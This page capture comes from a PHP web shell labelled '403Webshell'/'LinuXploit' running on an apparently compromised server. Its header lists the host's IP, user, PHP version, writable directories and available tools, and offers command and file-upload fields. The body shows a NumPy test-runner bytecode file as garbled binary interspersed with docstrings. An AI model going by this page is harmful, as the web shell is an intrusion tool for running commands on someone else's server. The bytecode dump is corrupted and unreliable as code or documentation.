403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.37
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/numpy/testing/_private/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/numpy/testing/_private/__pycache__/nosetester.cpython-311.pyc
�

���c�K��p�dZddlZddlZddlZddlZddlmZmZgd�Z	d�Z
dd�ZGd�d	��Zd
�Z
dS)ze
Nose test running.

This module implements ``test()`` and ``bench()`` functions for NumPy modules.

�N�)�import_nose�suppress_warnings)�get_package_name�run_module_suite�
NoseTester�
_numpy_testerrrrc�x�|dd�}g}d|vsd|vrDtj�|��\}}|dvrn|�|��d|v�@d|v�D|sd|vrdSdS|���|d�d��r|�d��d	�|��S)
a&
    Given a path where a package is installed, determine its name.

    Parameters
    ----------
    filepath : str
        Path to a file. If the determination fails, "numpy" is returned.

    Examples
    --------
    >>> np.testing.nosetester.get_package_name('nonsense')
    'numpy'

    N�
site-packages�
dist-packages)rr�scipy�numpyrz.egg�.)�os�path�split�append�reverse�endswith�pop�join)�filepath�fullpath�pkg_name�p2s    �C/usr/lib/python3/dist-packages/numpy/testing/_private/nosetester.pyrrs��� ����{�H��H�
�X�
%�
%��H�)D�)D��w�}�}�X�.�.���"�
�3�3�3���������	�X�
%�
%��H�)D�)D����h����7��7�
��������{���F�#�#�����Q�����8�8�H����c��|�8tjd��}|j�dd��}|�t�|�tj|gz}n||gz}t
��}ddlm}|�	||��g���dS)a�
    Run a test module.

    Equivalent to calling ``$ nosetests <argv> <file_to_run>`` from
    the command line

    Parameters
    ----------
    file_to_run : str, optional
        Path to test module, or None.
        By default, run the module from which this function is called.
    argv : list of strings
        Arguments to be passed to the nose test runner. ``argv[0]`` is
        ignored. All command line arguments accepted by ``nosetests``
        will work. If it is the default value None, sys.argv is used.

        .. versionadded:: 1.9.0

    Examples
    --------
    Adding the following::

        if __name__ == "__main__" :
            run_module_suite(argv=sys.argv)

    at the end of a test module will run the tests when that module is
    called in the python interpreter.

    Alternatively, calling::

    >>> run_module_suite(file_to_run="numpy/tests/test_matlib.py")  # doctest: +SKIP

    from an interpreter will run all the test routine in 'test_matlib.py'.
    Nr�__file__)�KnownFailurePlugin��argv�
addplugins)
�sys�	_getframe�f_locals�get�AssertionErrorr"r�noseclassesr �run)�file_to_runr"�f�noser s     rrr=s���F���M�!�����j�n�n�Z��6�6���� � ��|��x�;�-�'����{�m�#���=�=�D�/�/�/�/�/�/��H�H�$�$6�$6�$8�$8�#9�H�:�:�:�:�:rc�R�eZdZdZ		dd�Zd�Zd�Zd	�Z		dd�Z			dd
�Z	dd�Z
dS)ra�
    Nose test runner.

    This class is made available as numpy.testing.Tester, and a test function
    is typically added to a package's __init__.py like so::

      from numpy.testing import Tester
      test = Tester().test

    Calling this test function finds and runs all tests associated with the
    package and all its sub-packages.

    Attributes
    ----------
    package_path : str
        Full path to the package to test.
    package_name : str
        Name of the package to test.

    Parameters
    ----------
    package : module, str or None, optional
        The package to test. If a string, this should be the full path to
        the package. If None (default), `package` is set to the module from
        which `NoseTester` is initialized.
    raise_warnings : None, str or sequence of warnings, optional
        This specifies which warnings to configure as 'raise' instead
        of being shown once during the test execution.  Valid strings are:

          - "develop" : equals ``(Warning,)``
          - "release" : equals ``()``, don't raise on any warnings.

        Default is "release".
    depth : int, optional
        If `package` is None, then this can be used to initialize from the
        module of the caller of (the caller of (...)) the code that
        initializes `NoseTester`. Default of 0 means the module of the
        immediate caller; higher values are useful for utility routines that
        want to initialize `NoseTester` objects on behalf of other code.

    N�releaserFc�*�|�d}d}|�vtjd|z��}|j�dd��}|�t�t
j�|��}|j�dd��}ngt|tt
����r6t
j�|j
��}t|dd��}nt|��}||_
|�t|��}||_||_||_dS)Nr/rr�__name__)r$r%r&r'r(rr�dirname�
isinstance�typer�getattr�str�package_pathr�package_name�raise_warnings�check_fpu_mode)�self�packager9�depthr:r8r,r7s        r�__init__zNoseTester.__init__�s���!�&�N����?��
�a�%�i�(�(�A��:�>�>�*�d�;�;�L��#�$�$��7�?�?�<�8�8�L��:�>�>�*�d�;�;�L�L�
���b���
*�
*�	(��7�?�?�7�+;�<�<�L�"�7�J��=�=�L�L��w�<�<�L�(�����+�L�9�9�L�(���-���-����rc���t|jdg}|r9|dkr3t|t��st	d���|dkrd}|d|gz
}|dt|��gz
}|dgz
}|r||z
}|S)	a Generate argv for nosetest command

        Parameters
        ----------
        label : {'fast', 'full', '', attribute identifier}, optional
            see ``test`` docstring
        verbose : int, optional
            Verbosity value for test outputs, in the range 1-10. Default is 1.
        extra_argv : list, optional
            List with any extra arguments to pass to nosetests.

        Returns
        -------
        argv : list
            command line arguments that will be passed to nose
        z-s�fullz"Selection label should be a string�fastznot slowz-Az--verbosityz--exe)rr7r3r6�	TypeError)r;�label�verbose�
extra_argvr"s     r�
_test_argvzNoseTester._test_argv�s���"�$�+�T�2���	"�U�f�_�_��e�S�)�)�
F�� D�E�E�E�����"���T�5�M�!�D����G���-�-��	
��	����	��J��D��rc�l�t��}ddl}td|j����|�dd���jj}td|��tj�	|j
��}td|����d|jvrQddl}td	|j����tj�	|j
��}td
|����tj�dd��}td
|����td|jz��dS)NrzNumPy version )�
r�C)�orderz&NumPy relaxed strides checking option:zNumPy is installed in r
zSciPy version zSciPy is installed in �
�zPython version znose version %d.%d.%d)rr�print�__version__�ones�flags�f_contiguousrrr2rr8r
r$�version�replace�__versioninfo__)r;r-r�relaxed_strides�npdirr
�spdir�	pyversions        r�_show_system_infozNoseTester._show_system_info�s.���}�}������
�2�u�0�2�2�3�3�3��*�*�W�C�*�8�8�>�K��
�6��H�H�H�������/�/��
�.�u�.�.�/�/�/��d�'�'�'��L�L�L��6�5�#4�6�6�7�7�7��G�O�O�E�N�3�3�E��2�5�2�2�3�3�3��K�'�'��b�1�1�	�
�+�	�+�+�,�,�,�
�%��(<�<�=�=�=�=�=rc�"�ddlm}|��S)z� Return instantiated plugin for doctests

        Allows subclassing of this class to override doctester

        A return value of None means use the nose builtin doctest plugin
        r)�NumpyDoctest)r)r[)r;r[s  r�_get_custom_doctesterz NoseTester._get_custom_doctester�s"��	.�-�-�-�-�-��|�~�~�rrArc���t��|�|||��}|r|d|j��dddgz
}|r5|dur|dgz
}n*t|t��r|ddt|��gz
}dd	l}dd
lm}	ddl	m
}
m}m}|
��g}
|
d
�|j
jj
D��z
}
|jr|
|��gz
}
|dgz
}	|	��}|���|
d�|j
D��z
}
n#t"$rYnwxYwd|v}|dkr|rd}|���}|�|r|s|dgz
}n7|r|�d��|
|d��|gz
}
|r|d|jzgz
}||
fS)z�
        Run tests for module using nose.

        This method does the heavy lifting for the `test` method. It takes all
        the same arguments, for details see `test`.

        See Also
        --------
        test

        z--cover-package=z--with-coveragez
--cover-testsz
--cover-eraseTz--with-timerz
--timer-top-nrN)�EntryPointPluginManagerr)r �	Unplugger�FPUModeCheckPluginc�"�g|]}|����
S�rb��.0�ps  r�
<listcomp>z0NoseTester.prepare_test_args.<locals>.<listcomp>(s��>�>�>�A�A�A�C�C�>�>�>rz--with-fpumodecheckpluginc��g|]}|��Srbrbrcs  rrfz0NoseTester.prepare_test_args.<locals>.<listcomp>0s��>�>�>�a��>�>�>rz--with-doctestF�doctestz--with-)rrFr8r3�intr6�nose.plugins.builtin�nose.pluginsr^r)r r_r`�plugins�builtinr:�loadPlugins�ImportErrorr\�remove�name)r;rCrDrE�doctests�coverage�timerr"r-r^r r_r`rl�entrypoint_manager�doctest_argv�plugs                 r�prepare_test_argszNoseTester.prepare_test_argssd��	�
�
�
����u�g�z�:�:���	5��;��(9�;�;�=N�"�O�5�
5�D��	F���}�}���(�(����E�3�'�'�
F����#�e�*�*�E�E��	$�#�#�#�8�8�8�8�8�8�	6�	6�	6�	6�	6�	6�	6�	6�	6�	6�%�%�'�'�(���>�>���!5�!=�>�>�>�>����	2��*�*�,�,�-�-�G��0�1�1�D�	�!8�!8�!:�!:���*�*�,�,�,��>�>�#5�#=�>�>�>�>�G�G���	�	�	��D�	����
(�4�/���u������H��)�)�+�+���<��
+��
+��)�*�*����
.����,�-�-�-��	�	�)�,�,�d�3�3�G��
0���T�Y�.�/�/���W�}�s�	2C<�<
D	�D	c��t|d��}ddlm}||_|�||||||��\}	}
|rtd|j����ntd|j����|���ddl}d|_	|�|j
}ttfd�	��}t|t��r||}td
��5}
t!j��t!jd��|D]}t!jd|�
���|
�d���|
�d���|
�d���|
�t(j�
��|
�d���|
�d���t!j��5t!jd��ddlm}ddd��n#1swxYwY|
�t4|���t!jddt6d���ddlm}||	d|
���}ddd��n#1swxYwY|jS)a�	
        Run tests for module using nose.

        Parameters
        ----------
        label : {'fast', 'full', '', attribute identifier}, optional
            Identifies the tests to run. This can be a string to pass to
            the nosetests executable with the '-A' option, or one of several
            special values.  Special values are:

            * 'fast' - the default - which corresponds to the ``nosetests -A``
              option of 'not slow'.
            * 'full' - fast (as above) and slow tests as in the
              'no -A' option to nosetests - this is the same as ''.
            * None or '' - run all tests.
            * attribute_identifier - string passed directly to nosetests as '-A'.

        verbose : int, optional
            Verbosity value for test outputs, in the range 1-10. Default is 1.
        extra_argv : list, optional
            List with any extra arguments to pass to nosetests.
        doctests : bool, optional
            If True, run doctests in module. Default is False.
        coverage : bool, optional
            If True, report coverage of NumPy code. Default is False.
            (This requires the
            `coverage module <https://pypi.org/project/coverage/>`_).
        raise_warnings : None, str or sequence of warnings, optional
            This specifies which warnings to configure as 'raise' instead
            of being shown once during the test execution. Valid strings are:

            * "develop" : equals ``(Warning,)``
            * "release" : equals ``()``, do not raise on any warnings.
        timer : bool or int, optional
            Timing of individual tests with ``nose-timer`` (which needs to be
            installed).  If True, time tests and report on all of them.
            If an integer (say ``N``), report timing results for ``N`` slowest
            tests.

        Returns
        -------
        result : object
            Returns the result of running the tests as a
            ``nose.result.TextTestResult`` object.

        Notes
        -----
        Each NumPy module exposes `test` in its namespace to run all tests for it.
        For example, to run all tests for numpy.lib:

        >>> np.lib.test() #doctest: +SKIP

        Examples
        --------
        >>> result = np.lib.test() #doctest: +SKIP
        Running unit tests for numpy.lib
        ...
        Ran 976 tests in 3.933s

        OK

        >>> result.errors #doctest: +SKIP
        []
        >>> result.knownfail #doctest: +SKIP
        []
        �r)�utilsz$Running unit tests and doctests for zRunning unit tests for rNrb)�developr/�location�always�error)�categoryzNot importing directory)�messageznumpy.dtype size changedznumpy.ufunc size changedz.*boolean negative.*z.*boolean subtract.*)�cpuinfo)r��module�ignorez.*getargspec.*znose\.)r�r�r�)�NumpyTestProgramF)r"�exitrl)�minrLr{rDrxrMr8rYrh�masterr9�dict�Warningr3r6r�warnings�
resetwarnings�filterwarnings�filter�np�ModuleDeprecationWarning�catch_warnings�simplefilter�	distutilsr��UserWarning�DeprecationWarningr)r��result)r;rCrDrErrrsr9rtr{r"rlrh�
_warn_opts�sup�warningtyper�r��ts                  r�testzNoseTester.testFs<��N�g�q�/�/����������
��.�.��w�
�H�h��G�G�
��g��	A��L��9J�L�L�M�M�M�M��?�D�,=�?�?�@�@�@���� � � �	��������!�!�0�N��7�*�"$�&�&�&�
��n�c�*�*�	8�'��7�N�
�z�
*�
*�%	I�c�
�"�$�$�$�
�#�H�-�-�-�-�
G�
G���'��+�F�F�F�F�F��J�J�8�J�9�9�9��J�J�9�J�:�:�:��J�J�9�J�:�:�:��J�J�� ;�J�<�<�<�
�J�J�5�J�6�6�6��J�J�5�J�6�6�6��(�*�*�
1�
1��%�h�/�/�/�0�0�0�0�0�0�
1�
1�
1�
1�
1�
1�
1�
1�
1�
1�
1����
1�
1�
1�
1�
�J�J��G�J�<�<�<�
�#�H�6F�-?�+4�
6�
6�
6�
6�
6�5�5�5�5�5� � �d���H�H�H�A�K%	I�%	I�%	I�%	I�%	I�%	I�%	I�%	I�%	I�%	I�%	I����%	I�%	I�%	I�%	I�N�x�s8�C$I�;G"�I�"G&	�&I�)G&	�*AI�I
�
I
c��td|j����|���|�|||��}|ddtjzgz
}t
��}ddlm}|d��g}|�	||���S)a�
        Run benchmarks for module using nose.

        Parameters
        ----------
        label : {'fast', 'full', '', attribute identifier}, optional
            Identifies the benchmarks to run. This can be a string to pass to
            the nosetests executable with the '-A' option, or one of several
            special values.  Special values are:

            * 'fast' - the default - which corresponds to the ``nosetests -A``
              option of 'not slow'.
            * 'full' - fast (as above) and slow benchmarks as in the
              'no -A' option to nosetests - this is the same as ''.
            * None or '' - run all tests.
            * attribute_identifier - string passed directly to nosetests as '-A'.

        verbose : int, optional
            Verbosity value for benchmark outputs, in the range 1-10. Default is 1.
        extra_argv : list, optional
            List with any extra arguments to pass to nosetests.

        Returns
        -------
        success : bool
            Returns True if running the benchmarks works, False if an error
            occurred.

        Notes
        -----
        Benchmarks are like tests, but have names starting with "bench" instead
        of "test", and can be found under the "benchmarks" sub-directory of the
        module.

        Each NumPy module exposes `bench` in its namespace to run all benchmarks
        for it.

        Examples
        --------
        >>> success = np.lib.bench() #doctest: +SKIP
        Running benchmarks for numpy.lib
        ...
        using 562341 items:
        unique:
        0.11
        unique1d:
        0.11
        ratio: 1.0
        nUnique: 56230 == 56230
        ...
        OK

        >>> success #doctest: +SKIP
        True

        zRunning benchmarks for z--matchz(?:^|[\\b_\\.%s-])[Bb]enchr)r_rhr!)
rMr8rYrFr�seprr)r_r*)r;rCrDrEr"r-r_�add_pluginss        r�benchzNoseTester.bench�s���t	�;��(9�;�;�<�<�<���� � � ����u�g�z�:�:����9�B�F�B�C�C���}�}��	+�*�*�*�*�*� �y��+�+�,���x�x�T�k�x�:�:�:r)Nr/rF)rArNFFF)rArNFFNF)rArN)r1�
__module__�__qualname__�__doc__r>rFrYr\rxr�r�rbrrrrps�������(�(�RFG� %�'-�'-�'-�'-�R#�#�#�J>�>�>�(���EI�@E�>�>�>�>�@8<�<@��I�I�I�I�VG;�G;�G;�G;�G;�G;rrc�v�ttd��rdtjvrd}nd}t|dd���S)NrNz.dev0r|r/rT)r9r=r:)�hasattrr�rNr)�modes rr	r	sJ���r�=�!�!��g���&?�&?�������T��%)�+�+�+�+r)NN)r�rr$r�rr�r{rr�__all__rrrr	rbrr�<module>r�s�����
�	�	�	�
�
�
�
���������1�1�1�1�1�1�1�1� � � ��
&�&�&�R0;�0;�0;�0;�fh;�h;�h;�h;�h;�h;�h;�h;�V
+�+�+�+�+r

Youez - 2016 - github.com/yon3zu
LinuXploit